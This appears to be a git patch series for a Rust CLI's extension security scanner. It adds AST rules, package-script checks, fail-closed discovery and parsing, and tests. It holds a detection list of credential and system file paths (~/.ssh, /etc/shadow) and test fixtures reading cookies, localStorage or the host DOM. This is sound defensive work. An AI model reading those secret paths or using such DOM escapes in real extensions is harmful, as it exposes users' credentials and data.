assert!( + !report.findings.iter().any(|f| f.rule_id == "SEC012"), + "container.querySelector must be allowed: {:?}", + report.findings + ); + assert!(!report.blocked, "{:?}", report.findings); + } + + #[test] + fn sec012_blocks_destructured_host_container_escapes() { + // TS SEC012 fixture shape: mount({ container }) still treats container + // as the host binding (not a free-variable shadow). + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("mount.ts"), + r#" +export function mount({ container }) { + container.closest('#checkout-root'); + container.ownerDocument; + container.parentElement; + container.parentNode; +} +"#, + ) + .expect("write"); + let report = scan(dir.path()); + let sec012 = report + .findings + .iter() + .filter(|f| f.rule_id == "SEC012") + .count(); + assert!( + sec012 >= 4, + "expected host container escapes to block, got {sec012}: {:?}", + report.findings + ); + assert!(report.blocked, "{:?}", report.findings); + } + + #[test] + fn sec012_blocks_document_destructure_and_computed_access() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("destructure.ts"), + r#" +const { body } = document; +window["document"].querySelector('a'); +"#, + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC012"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec012_allows_shadowed_open_and_document() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("shadow.ts"), + r#" +function open(msg: string) { console.log(msg); } +open("hi"); + +function render(document: { title: string }) { + return document.title; +} +"#, + ) + .expect("write"); + let report = scan(dir.path()); + assert!( + !report.findings.iter().any(|f| f.rule_id == "SEC012"), + "shadowed open/document must be allowed: {:?}", + report.findings + ); + } + + #[test] + fn sec012_alias_still_blocks_and_local_shadow_clears_alias() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("alias.ts"), + r#" +const doc = document; +doc.body; + +function wrap() { + const doc = { body: null }; + return doc.body; +} +"#, + ) + .expect("write"); + let report = scan(dir.path()); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC012"), + "alias doc.body must block: {:?}", + report.findings + ); + let sec012 = report + .findings + .iter() + .filter(|f| f.rule_id == "SEC012") + .count(); + assert_eq!(sec012, 1, "{:?}", report.findings); + } + + #[test] + fn sec012_blocks_document_body_and_window_open() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("escape.ts"), + "const b = document.body;\nwindow.open('https://example.com');\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC012"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec012_blocks_nested_window_document_query() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("nested.ts"), + "window.document.querySelector('body');\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC012"), + "{:?}", + report.findings + ); + } + + #[test] + fn sec012_blocks_element_access_and_local_storage() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("access.ts"), + "const c = document['cookie'];\nconst s = localStorage;\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + let sec012: Vec<_> = report + .findings + .iter() + .filter(|f| f.rule_id == "SEC012") + .collect(); + assert!(sec012.len() >= 2, "{sec012:?}"); + } + + #[test] + fn sec012_blocks_container_closest_only() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write( + dir.path().join("closest.ts"), + "container.closest('.host');\n", + ) + .expect("write"); + let report = scan(dir.path()); + assert!(report.blocked, "{:?}", report.findings); + assert!( + report.findings.iter().any(|f| f.rule_id == "SEC012"), + "{:?}", + report.findings + ); + } + + #[test] + fn clean_package_passes() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("ok.ts"), "export const hello = 'world';\n").expect("write"); + let report = scan(dir.path()); + assert!(!report.blocked, "{:?}", report.findings); + assert!(report.findings.is_empty(), "{:?}", report.findings); + } + + #[test] + fn excludes_node_modules() { + let dir = tempfile::tempdir().expect("tempdir"); + let nm = dir.path().join("node_modules/evil"); + std::fs::create_dir_all(&nm).expect("mkdir"); + std::fs::write(nm.join("bad.ts"), "eval('x');\n").expect("write"); + std::fs::write(dir.path().join("ok.ts"), "export const x = 1;\n").expect("write"); + let report = scan(dir.path()); + assert!(!report.blocked, "{:?}", report.findings); + assert_eq!(report.scanned_files, 1, "{report:?}"); + } + + #[test] + fn discovery_fails_when_path_is_not_directory() { + let dir = tempfile::tempdir().expect("tempdir"); + let file = dir.path().join("not-a-dir.ts"); + std::fs::write(&file, "export {};\n").expect("write"); + let err = scan_extension(&file).expect_err("should fail"); + assert!( + err.contains("unable to perform security scan"), + "unexpected err: {err}" + ); + } +} diff --git a/rust/src/extension/security/types.rs b/rust/src/extension/security/types.rs new file mode 100644 index 00000000..5a3fb54a --- /dev/null +++ b/rust/src/extension/security/types.rs @@ -0,0 +1,73 @@ +//! Shared types for pre-bundle source security scanning. + +use std::collections::{HashMap, HashSet}; + +use crate::extension::{Finding, Severity}; + +#[derive(Debug, Default, Clone)] +pub struct AliasMaps { + /// module → set of local names (default import / `const x = require(...)`) + pub module_aliases: HashMap>, + /// module → namespace alias (`import * as VM from 'vm'`) + pub namespace_aliases: HashMap, + /// module → (imported name → local name) + pub named_imports: HashMap>, +} + +impl AliasMaps { + pub fn is_alias_of(&self, local: &str, module: &str) -> bool { + if self + .module_aliases + .get(module) + .is_some_and(|set| set.contains(local)) + { + return true; + } + if self + .namespace_aliases + .get(module) + .is_some_and(|ns| ns == local) + { + return true; + } + if let Some(named) = self.named_imports.get(module) { + return named.values().any(|v| v == local); + } + false + } +} + +#[derive(Debug, Clone)] +pub struct SecurityConfig { + pub trusted_domains: Vec<&'static str>, + pub exclude: Vec<&'static str>, +} + +#[derive(Debug, Default)] +pub struct ScanSummary { + pub total: usize, + pub block: usize, + pub warn: usize, +} + +#[derive(Debug)] +pub struct ScanReport { + pub findings: Vec, + pub blocked: bool, + pub summary: ScanSummary, + pub scanned_files: usize, +} + +pub(crate) fn build_summary(findings: &[Finding]) -> ScanSummary { + let mut summary = ScanSummary { + total: findings.len(), + ..ScanSummary::default() + }; + for f in findings { + match f.severity { + Severity::Block => summary.block += 1, + Severity::Warn => summary.warn += 1, + } + } + summary +} diff --git a/rust/src/extension/security/util.rs b/rust/src/extension/security/util.rs new file mode 100644 index 00000000..46797fcf --- /dev/null +++ b/rust/src/extension/security/util.rs @@ -0,0 +1,39 @@ +//! Shared helpers for AST security scanning. + +use oxc_ast::ast::{CallExpression, Expression}; +use oxc_span::Span; + +pub fn matches_http_url(s: &str) -> bool { + s.contains("http://") || s.contains("https://") +} + +pub fn first_string_arg<'a>(call: &CallExpression<'a>) -> Option<&'a str> { + let expr = call.arguments.first()?.as_expression()?; + match expr { + Expression::StringLiteral(lit) => Some(lit.value.as_str()), + _ => None, + } +} + +pub fn offset_to_line_col(source: &str, offset: usize) -> (usize, usize) { + let offset = offset.min(source.len()); + let before = &source[..offset]; + let line = before.bytes().filter(|&b| b == b'\n').count() + 1; + let col = match before.rfind('\n') { + Some(i) => offset - i, + None => offset + 1, + }; + (line, col) +} + +pub fn snippet_at(source: &str, span: Span) -> String { + let start = (span.start as usize).min(source.len()); + let end = (span.end as usize).min(source.len()); + let slice = &source[start..end]; + let line = slice.lines().next().unwrap_or(slice); + let mut s = line.trim().to_owned(); + if s.len() > 80 { + s.truncate(80); + } + s +} diff --git a/rust/src/extension/types.rs b/rust/src/extension/types.rs index 10cd35be..a5944d4e 100644 --- a/rust/src/extension/types.rs +++ b/rust/src/extension/types.rs @@ -80,8 +80,10 @@ pub enum Severity { pub struct Finding { pub rule_id: &'static str, pub severity: Severity, - pub message: &'static str, + pub message: String, pub file: String, pub line: usize, + /// 1-based column for AST findings; `0` for bundle regex matches. + pub col: usize, pub snippet: String, } From 80290576e00212f45a4f4671ac3ed8d956bec7d9 Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 13:17:06 -0700 Subject: [PATCH 2/6] address comments --- rust/src/application/commands/deploy/mod.rs | 11 +++--- rust/src/extension/security/file_discovery.rs | 39 ++++++++++++++----- 2 files changed, 36 insertions(+), 14 deletions(-) diff --git a/rust/src/application/commands/deploy/mod.rs b/rust/src/application/commands/deploy/mod.rs index dbdf8319..8a0fba23 100644 --- a/rust/src/application/commands/deploy/mod.rs +++ b/rust/src/application/commands/deploy/mod.rs @@ -116,11 +116,12 @@ pub(super) fn command() -> RuntimeCommandSpec { ) .with_long( "Read godaddy.toml from the current directory, bundle all declared \ - extensions with esbuild, run the pre-bundle AST security scanner \ - (SEC001–SEC012) and the post-bundle regex scanner (SEC101–SEC115) \ - on each extension, then upload the artifacts to the latest release \ - of the named application. Progress is streamed as JSON events. A \ - release must exist before deploying; create one with \ + extensions with esbuild, run the pre-bundle security scanner \ + (SEC001–SEC010/SEC012 AST + SEC011 package scripts) and the \ + post-bundle regex scanner (SEC101–SEC115) on each extension, then \ + upload the artifacts to the latest release of the named \ + application. Progress is streamed as JSON events. A release must \ + exist before deploying; create one with \ `gddy platform app release`.", ) .with_system("applications") diff --git a/rust/src/extension/security/file_discovery.rs b/rust/src/extension/security/file_discovery.rs index 55f735ad..771a9961 100644 --- a/rust/src/extension/security/file_discovery.rs +++ b/rust/src/extension/security/file_discovery.rs @@ -28,20 +28,15 @@ fn traverse(dir: &Path, excludes: &GlobSet, out: &mut Vec) -> std::io:: if should_exclude(&dir_str, excludes) { return Ok(()); } - let entries = match std::fs::read_dir(dir) { - Ok(e) => e, - Err(_) => return Ok(()), - }; - for entry in entries.flatten() { + let entries = std::fs::read_dir(dir)?; + for entry in entries { + let entry = entry?; let path = entry.path(); let path_str = path.to_string_lossy(); if should_exclude(&path_str, excludes) { continue; } - let ft = match entry.file_type() { - Ok(ft) => ft, - Err(_) => continue, - }; + let ft = entry.file_type()?; if ft.is_dir() { traverse(&path, excludes, out)?; } else if ft.is_file() { @@ -57,3 +52,29 @@ fn traverse(dir: &Path, excludes: &GlobSet, out: &mut Vec) -> std::io:: } Ok(()) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + #[cfg(unix)] + fn unreadable_subdirectory_fails_closed() { + use std::os::unix::fs::PermissionsExt; + + let dir = tempfile::tempdir().expect("tempdir"); + let locked = dir.path().join("locked"); + std::fs::create_dir(&locked).expect("mkdir"); + std::fs::write(dir.path().join("ok.ts"), "export {};\n").expect("write"); + std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o000)).expect("chmod"); + + let result = find_files_to_scan(dir.path()); + + // Restore so tempfile cleanup succeeds. + let _ = std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o755)); + assert!( + result.is_err(), + "expected discovery to fail closed on unreadable dir, got {result:?}" + ); + } +} From a864d4e84a5db479c35140991b389ba7194aa8fb Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 13:33:36 -0700 Subject: [PATCH 3/6] fail closed on parse errors --- rust/src/extension/security/engine.rs | 12 +++- .../src/extension/security/scripts_scanner.rs | 27 +++++--- rust/src/extension/security/source.rs | 66 +++++++++++++++---- 3 files changed, 82 insertions(+), 23 deletions(-) diff --git a/rust/src/extension/security/engine.rs b/rust/src/extension/security/engine.rs index 7a919dc0..a9204eab 100644 --- a/rust/src/extension/security/engine.rs +++ b/rust/src/extension/security/engine.rs @@ -39,9 +39,17 @@ const MODULE_PATCH_PROPS: &[&str] = &["_load", "_extensions", "_compile", "_reso const SENSITIVE_PATHS: &[&str] = &["~/.ssh", "/etc/passwd", "/etc/shadow", "/var/run/secrets"]; -pub fn scan_source_file(path: &str, source: &str) -> Vec { +pub fn scan_source_file(path: &str, source: &str) -> Result, String> { let allocator = oxc_allocator::Allocator::default(); let parsed = Parser::new(&allocator, source, SourceType::tsx()).parse(); + if parsed.panicked || !parsed.diagnostics.is_empty() { + let detail = parsed + .diagnostics + .first() + .map(ToString::to_string) + .unwrap_or_else(|| "parser panicked".to_owned()); + return Err(format!("failed to parse '{path}': {detail}")); + } let aliases = build_alias_maps(&parsed.program); let config = security_config(); @@ -56,7 +64,7 @@ pub fn scan_source_file(path: &str, source: &str) -> Vec { let mut findings = visitor.findings; findings.extend(scan_dom_escape(path, source, &parsed.program)); - findings + Ok(findings) } struct RuleVisitor<'a> { diff --git a/rust/src/extension/security/scripts_scanner.rs b/rust/src/extension/security/scripts_scanner.rs index ef018c19..7e7c6aef 100644 --- a/rust/src/extension/security/scripts_scanner.rs +++ b/rust/src/extension/security/scripts_scanner.rs @@ -68,16 +68,25 @@ static PATTERNS: LazyLock> = LazyLock::new(|| { .collect() }); -/// Scan `package.json` lifecycle scripts. Missing/invalid file → empty findings. -pub fn scan_package_scripts(package_json: &Path) -> Vec { - let Ok(content) = std::fs::read_to_string(package_json) else { - return Vec::new(); - }; - let Ok(value) = serde_json::from_str::(&content) else { - return Vec::new(); +/// Scan `package.json` lifecycle scripts. +/// +/// Missing `package.json` is ignored. Other read/parse failures bubble up so the +/// pre-bundle scan can fail closed. +pub fn scan_package_scripts(package_json: &Path) -> Result, String> { + let content = match std::fs::read_to_string(package_json) { + Ok(content) => content, + Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), + Err(err) => { + return Err(format!( + "failed to read '{}': {err}", + package_json.display() + )); + } }; + let value: serde_json::Value = serde_json::from_str(&content) + .map_err(|err| format!("invalid package.json '{}': {err}", package_json.display()))?; let Some(scripts) = value.get("scripts").and_then(|s| s.as_object()) else { - return Vec::new(); + return Ok(Vec::new()); }; let mut findings = Vec::new(); @@ -104,5 +113,5 @@ pub fn scan_package_scripts(package_json: &Path) -> Vec { } } } - findings + Ok(findings) } diff --git a/rust/src/extension/security/source.rs b/rust/src/extension/security/source.rs index f5e82026..8fd00b9f 100644 --- a/rust/src/extension/security/source.rs +++ b/rust/src/extension/security/source.rs @@ -14,26 +14,29 @@ use super::types::{ScanReport, build_summary}; /// 2. Discover source files (respecting excludes) /// 3. AST-scan each file with oxc (SEC001–SEC010, SEC012) /// -/// Returns `Err` when the package directory cannot be scanned +/// Returns `Err` when the package directory cannot be scanned (discovery/read/parse failures). pub fn scan_extension(package_dir: &Path) -> Result { + if !package_dir.is_dir() { + return Err(format!( + "file discovery failed: path is not a directory: {}", + package_dir.display() + )); + } + let mut findings = Vec::new(); let package_json = package_dir.join("package.json"); - findings.extend(scan_package_scripts(&package_json)); + findings.extend(scan_package_scripts(&package_json)?); - let files = find_files_to_scan(package_dir) - .map_err(|e| format!("unable to perform security scan: {e}"))?; + let files = + find_files_to_scan(package_dir).map_err(|e| format!("file discovery failed: {e}"))?; let scanned_files = files.len(); for path in &files { - let source = std::fs::read_to_string(path).map_err(|e| { - format!( - "unable to perform security scan: failed to read '{}': {e}", - path.display() - ) - })?; + let source = std::fs::read_to_string(path) + .map_err(|e| format!("failed to read '{}': {e}", path.display()))?; let path_str = path.display().to_string(); - findings.extend(scan_source_file(&path_str, &source)); + findings.extend(scan_source_file(&path_str, &source)?); } findings.sort_by(|a, b| a.file.cmp(&b.file).then(a.line.cmp(&b.line))); @@ -361,8 +364,47 @@ function wrap() { std::fs::write(&file, "export {};\n").expect("write"); let err = scan_extension(&file).expect_err("should fail"); assert!( - err.contains("unable to perform security scan"), + err.contains("file discovery failed"), + "unexpected err: {err}" + ); + } + + #[test] + fn parse_errors_fail_closed() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("bad.ts"), "export const x = {\n").expect("write"); + let err = scan_extension(dir.path()).expect_err("should fail closed on parse error"); + assert!(err.contains("failed to parse"), "unexpected err: {err}"); + } + + #[test] + fn invalid_package_json_fails_closed() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("package.json"), "{not-json").expect("write"); + std::fs::write(dir.path().join("ok.ts"), "export const x = 1;\n").expect("write"); + let err = + scan_extension(dir.path()).expect_err("should fail closed on invalid package.json"); + assert!( + err.contains("invalid package.json"), "unexpected err: {err}" ); } + + #[test] + #[cfg(unix)] + fn unreadable_package_json_fails_closed() { + use std::os::unix::fs::PermissionsExt; + + let dir = tempfile::tempdir().expect("tempdir"); + let pkg = dir.path().join("package.json"); + std::fs::write(&pkg, r#"{"name":"x"}"#).expect("write"); + std::fs::write(dir.path().join("ok.ts"), "export const x = 1;\n").expect("write"); + std::fs::set_permissions(&pkg, std::fs::Permissions::from_mode(0o000)).expect("chmod"); + + let result = scan_extension(dir.path()); + + let _ = std::fs::set_permissions(&pkg, std::fs::Permissions::from_mode(0o644)); + let err = result.expect_err("should fail closed on unreadable package.json"); + assert!(err.contains("failed to read"), "unexpected err: {err}"); + } } From b31243e13b35edd8ad57a5f9ed18e24ab2f87a07 Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 13:43:40 -0700 Subject: [PATCH 4/6] harden snippet slicing and stabilize finding sort --- rust/src/extension/security/mod.rs | 8 ++++++- rust/src/extension/security/source.rs | 8 ++++++- rust/src/extension/security/util.rs | 34 +++++++++++++++++++++++---- 3 files changed, 43 insertions(+), 7 deletions(-) diff --git a/rust/src/extension/security/mod.rs b/rust/src/extension/security/mod.rs index 30974bf1..c8158a27 100644 --- a/rust/src/extension/security/mod.rs +++ b/rust/src/extension/security/mod.rs @@ -135,7 +135,13 @@ pub fn scan_bundle(content: &str, file_path: &str) -> Vec { } } - findings.sort_by_key(|f| f.line); + findings.sort_by(|a, b| { + a.line + .cmp(&b.line) + .then(a.col.cmp(&b.col)) + .then(a.rule_id.cmp(b.rule_id)) + .then(a.file.cmp(&b.file)) + }); findings } diff --git a/rust/src/extension/security/source.rs b/rust/src/extension/security/source.rs index 8fd00b9f..1776294e 100644 --- a/rust/src/extension/security/source.rs +++ b/rust/src/extension/security/source.rs @@ -39,7 +39,13 @@ pub fn scan_extension(package_dir: &Path) -> Result { findings.extend(scan_source_file(&path_str, &source)?); } - findings.sort_by(|a, b| a.file.cmp(&b.file).then(a.line.cmp(&b.line))); + findings.sort_by(|a, b| { + a.file + .cmp(&b.file) + .then(a.line.cmp(&b.line)) + .then(a.col.cmp(&b.col)) + .then(a.rule_id.cmp(b.rule_id)) + }); let summary = build_summary(&findings); let blocked = is_blocked(&findings); Ok(ScanReport { diff --git a/rust/src/extension/security/util.rs b/rust/src/extension/security/util.rs index 46797fcf..e84b7f0b 100644 --- a/rust/src/extension/security/util.rs +++ b/rust/src/extension/security/util.rs @@ -16,7 +16,7 @@ pub fn first_string_arg<'a>(call: &CallExpression<'a>) -> Option<&'a str> { } pub fn offset_to_line_col(source: &str, offset: usize) -> (usize, usize) { - let offset = offset.min(source.len()); + let offset = source.floor_char_boundary(offset.min(source.len())); let before = &source[..offset]; let line = before.bytes().filter(|&b| b == b'\n').count() + 1; let col = match before.rfind('\n') { @@ -27,13 +27,37 @@ pub fn offset_to_line_col(source: &str, offset: usize) -> (usize, usize) { } pub fn snippet_at(source: &str, span: Span) -> String { - let start = (span.start as usize).min(source.len()); - let end = (span.end as usize).min(source.len()); - let slice = &source[start..end]; + let start = source.floor_char_boundary((span.start as usize).min(source.len())); + let end = source.ceil_char_boundary((span.end as usize).min(source.len())); + let slice = source.get(start..end).unwrap_or(""); let line = slice.lines().next().unwrap_or(slice); let mut s = line.trim().to_owned(); if s.len() > 80 { - s.truncate(80); + s.truncate(s.floor_char_boundary(80)); } s } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn snippet_at_is_utf8_safe() { + let source = "consolé.evil()"; + let mid_e = source.find('é').expect("é") + 1; + assert!(!source.is_char_boundary(mid_e)); + // Mid-char start must not panic; inverted span → empty. + let _ = snippet_at(source, Span::new(mid_e as u32, source.len() as u32)); + assert_eq!(snippet_at(source, Span::new(10, 2)), ""); + } + + #[test] + fn offset_to_line_col_is_utf8_safe() { + let source = "a😀b"; + let mid = source.find('😀').expect("emoji") + 1; + assert!(!source.is_char_boundary(mid)); + let (line, _) = offset_to_line_col(source, mid); + assert_eq!(line, 1); + } +} From 7bbbdfe6b666b6b342e2d62e9952cd32ba211724 Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 13:59:14 -0700 Subject: [PATCH 5/6] use ScanError and reject symlinks in discovery --- AGENTS.md | 2 +- PR-DEVEX-710.md | 19 ++++++++++ rust/src/extension/mod.rs | 7 ++-- rust/src/extension/security/engine.rs | 9 +++-- rust/src/extension/security/file_discovery.rs | 18 +++++++++ rust/src/extension/security/mod.rs | 1 + .../src/extension/security/scripts_scanner.rs | 21 ++++++---- rust/src/extension/security/source.rs | 38 +++++++++++-------- rust/src/extension/security/types.rs | 23 +++++++++++ 9 files changed, 108 insertions(+), 30 deletions(-) create mode 100644 PR-DEVEX-710.md diff --git a/AGENTS.md b/AGENTS.md index 9daa562a..17173318 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -79,7 +79,7 @@ GoDaddy CLI is a Rust binary (edition 2024) built using: - Rules SEC101–SEC110 ported from the TS scanner; SEC111–SEC115 added in the Rust port with no TS baseline (SEC111/SEC112/SEC115 block, SEC113/SEC114 warn). Uses `fancy-regex` for lookahead support. -- `scan_extension(dir) -> Result`, `scan_bundle(content, path) -> Vec`, +- `scan_extension(dir) -> Result`, `scan_bundle(content, path) -> Vec`, `is_blocked(findings) -> bool`. - Deploy runs pre-bundle scan before esbuild, then post-bundle scan on the artifact. diff --git a/PR-DEVEX-710.md b/PR-DEVEX-710.md new file mode 100644 index 00000000..790af297 --- /dev/null +++ b/PR-DEVEX-710.md @@ -0,0 +1,19 @@ +# fix(extensions): restore pre-bundle AST security scan [DEVEX-710] + +## Summary + +- Restore pre-bundle oxc AST scanning (SEC001–SEC010/SEC012) plus SEC011 package-script scanning under `extension/security/`, with `scan_extension` returning `Result` so discovery/read/parse/symlink failures fail closed (separate from rule findings). +- Wire `scan.prebundle` into deploy **before** esbuild; block on severity `Block`, then keep the existing post-bundle regex scan (SEC101–SEC115). +- SEC012 parity: DOM pair/triple blocklists, scope shadowing, and host `mount({ container })` still catching container escapes (`closest`, `ownerDocument`, etc.) without treating `container` as a free-variable shadow. +- Hardening follow-ups: UTF-8-safe snippet/offset helpers, deterministic finding sort (`file`/`line`/`col`/`rule_id`), fail-closed file discovery (read_dir / symlink), clearer deploy `--help` (AST vs package scripts). + +## Test plan + +- [x] `cargo check` / `cargo clippy -- -D warnings` / `cargo fmt --check` / `./rust/scripts/check-module-size.sh` +- [x] `cargo test` (614 tests; includes ~139 `extension::security` tests) +- [x] Fail-closed coverage: unreadable dirs, symlinks, oxc parse errors, invalid/unreadable `package.json` +- [x] Manual fixture scan (pre-bundle only): + - `clean` / `shadow-ok` → pass (0 findings) + - `eval-bad` → blocked (SEC001) + - `dom-bad` → blocked (SEC012, 3 findings) +- [ ] End-to-end `gddy platform app deploy` on a real app (needs experimental stage + auth + esbuild): confirm pre-bundle blocks bad packages and clean packages proceed past scan to upload diff --git a/rust/src/extension/mod.rs b/rust/src/extension/mod.rs index caafc4df..a2c502e3 100644 --- a/rust/src/extension/mod.rs +++ b/rust/src/extension/mod.rs @@ -12,8 +12,9 @@ pub(crate) use sandbox::{ }; pub use security::{is_blocked, scan_bundle, scan_extension}; pub use types::{BundleCleanup, BundleOptions, ExtensionType, Severity}; -// `BundleResult` and `Finding` are part of the module's public surface (returned -// from `bundle_extension` / `scan_bundle`) but no caller currently names them via -// `crate::extension::…`, so the plain re-export would be flagged as unused. +// Public scan/bundle surface types; no in-crate caller names them via +// `crate::extension::…` yet, so the plain re-export would be flagged unused. +#[allow(unused_imports)] +pub use security::{ScanError, ScanReport}; #[allow(unused_imports)] pub use types::{BundleResult, Finding}; diff --git a/rust/src/extension/security/engine.rs b/rust/src/extension/security/engine.rs index a9204eab..ca11dc18 100644 --- a/rust/src/extension/security/engine.rs +++ b/rust/src/extension/security/engine.rs @@ -13,7 +13,7 @@ use crate::extension::{Finding, Severity}; use super::alias_builder::build_alias_maps; use super::config::{is_trusted_domain, security_config}; use super::dom_escape::scan_dom_escape; -use super::types::{AliasMaps, SecurityConfig}; +use super::types::{AliasMaps, ScanError, SecurityConfig}; use super::util::{first_string_arg, matches_http_url, offset_to_line_col, snippet_at}; const CP_METHODS: &[&str] = &[ @@ -39,7 +39,7 @@ const MODULE_PATCH_PROPS: &[&str] = &["_load", "_extensions", "_compile", "_reso const SENSITIVE_PATHS: &[&str] = &["~/.ssh", "/etc/passwd", "/etc/shadow", "/var/run/secrets"]; -pub fn scan_source_file(path: &str, source: &str) -> Result, String> { +pub fn scan_source_file(path: &str, source: &str) -> Result, ScanError> { let allocator = oxc_allocator::Allocator::default(); let parsed = Parser::new(&allocator, source, SourceType::tsx()).parse(); if parsed.panicked || !parsed.diagnostics.is_empty() { @@ -48,7 +48,10 @@ pub fn scan_source_file(path: &str, source: &str) -> Result, String .first() .map(ToString::to_string) .unwrap_or_else(|| "parser panicked".to_owned()); - return Err(format!("failed to parse '{path}': {detail}")); + return Err(ScanError::Parse { + path: path.to_owned(), + detail, + }); } let aliases = build_alias_maps(&parsed.program); let config = security_config(); diff --git a/rust/src/extension/security/file_discovery.rs b/rust/src/extension/security/file_discovery.rs index 771a9961..8cef5809 100644 --- a/rust/src/extension/security/file_discovery.rs +++ b/rust/src/extension/security/file_discovery.rs @@ -37,6 +37,12 @@ fn traverse(dir: &Path, excludes: &GlobSet, out: &mut Vec) -> std::io:: continue; } let ft = entry.file_type()?; + if ft.is_symlink() { + return Err(std::io::Error::other(format!( + "symlink encountered during security scan: {}", + path.display() + ))); + } if ft.is_dir() { traverse(&path, excludes, out)?; } else if ft.is_file() { @@ -77,4 +83,16 @@ mod tests { "expected discovery to fail closed on unreadable dir, got {result:?}" ); } + + #[test] + #[cfg(unix)] + fn symlink_fails_closed() { + let dir = tempfile::tempdir().expect("tempdir"); + let target = dir.path().join("target.ts"); + std::fs::write(&target, "eval('x');\n").expect("write"); + std::os::unix::fs::symlink(&target, dir.path().join("link.ts")).expect("symlink"); + + let err = find_files_to_scan(dir.path()).expect_err("symlink should fail closed"); + assert!(err.to_string().contains("symlink"), "unexpected err: {err}"); + } } diff --git a/rust/src/extension/security/mod.rs b/rust/src/extension/security/mod.rs index c8158a27..e0499564 100644 --- a/rust/src/extension/security/mod.rs +++ b/rust/src/extension/security/mod.rs @@ -24,6 +24,7 @@ mod tests_sec101_108; mod tests_sec109_115; pub use source::scan_extension; +pub use types::ScanError; // Returned by `scan_extension` but no caller currently names the type via // `crate::extension::security::ScanReport`. #[allow(unused_imports)] diff --git a/rust/src/extension/security/scripts_scanner.rs b/rust/src/extension/security/scripts_scanner.rs index 7e7c6aef..25a5d4c2 100644 --- a/rust/src/extension/security/scripts_scanner.rs +++ b/rust/src/extension/security/scripts_scanner.rs @@ -7,6 +7,8 @@ use regex::Regex; use crate::extension::{Finding, Severity}; +use super::types::ScanError; + const LIFECYCLE_SCRIPTS: &[&str] = &["install", "postinstall", "preinstall"]; struct SuspiciousPattern { @@ -72,19 +74,22 @@ static PATTERNS: LazyLock> = LazyLock::new(|| { /// /// Missing `package.json` is ignored. Other read/parse failures bubble up so the /// pre-bundle scan can fail closed. -pub fn scan_package_scripts(package_json: &Path) -> Result, String> { +pub fn scan_package_scripts(package_json: &Path) -> Result, ScanError> { let content = match std::fs::read_to_string(package_json) { Ok(content) => content, Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), - Err(err) => { - return Err(format!( - "failed to read '{}': {err}", - package_json.display() - )); + Err(source) => { + return Err(ScanError::Read { + path: package_json.display().to_string(), + source, + }); } }; - let value: serde_json::Value = serde_json::from_str(&content) - .map_err(|err| format!("invalid package.json '{}': {err}", package_json.display()))?; + let value: serde_json::Value = + serde_json::from_str(&content).map_err(|source| ScanError::InvalidPackageJson { + path: package_json.display().to_string(), + source, + })?; let Some(scripts) = value.get("scripts").and_then(|s| s.as_object()) else { return Ok(Vec::new()); }; diff --git a/rust/src/extension/security/source.rs b/rust/src/extension/security/source.rs index 1776294e..2f127b1c 100644 --- a/rust/src/extension/security/source.rs +++ b/rust/src/extension/security/source.rs @@ -6,7 +6,7 @@ use super::engine::scan_source_file; use super::file_discovery::find_files_to_scan; use super::is_blocked; use super::scripts_scanner::scan_package_scripts; -use super::types::{ScanReport, build_summary}; +use super::types::{ScanError, ScanReport, build_summary}; /// Orchestrate a full pre-bundle security scan of an extension package directory. /// @@ -14,13 +14,14 @@ use super::types::{ScanReport, build_summary}; /// 2. Discover source files (respecting excludes) /// 3. AST-scan each file with oxc (SEC001–SEC010, SEC012) /// -/// Returns `Err` when the package directory cannot be scanned (discovery/read/parse failures). -pub fn scan_extension(package_dir: &Path) -> Result { +/// Returns [`ScanError`] when the package directory cannot be scanned +/// (discovery/read/parse failures). Rule hits are returned in [`ScanReport`]. +pub fn scan_extension(package_dir: &Path) -> Result { if !package_dir.is_dir() { - return Err(format!( - "file discovery failed: path is not a directory: {}", - package_dir.display() - )); + return Err(ScanError::Discovery(std::io::Error::new( + std::io::ErrorKind::NotFound, + format!("path is not a directory: {}", package_dir.display()), + ))); } let mut findings = Vec::new(); @@ -28,13 +29,14 @@ pub fn scan_extension(package_dir: &Path) -> Result { let package_json = package_dir.join("package.json"); findings.extend(scan_package_scripts(&package_json)?); - let files = - find_files_to_scan(package_dir).map_err(|e| format!("file discovery failed: {e}"))?; + let files = 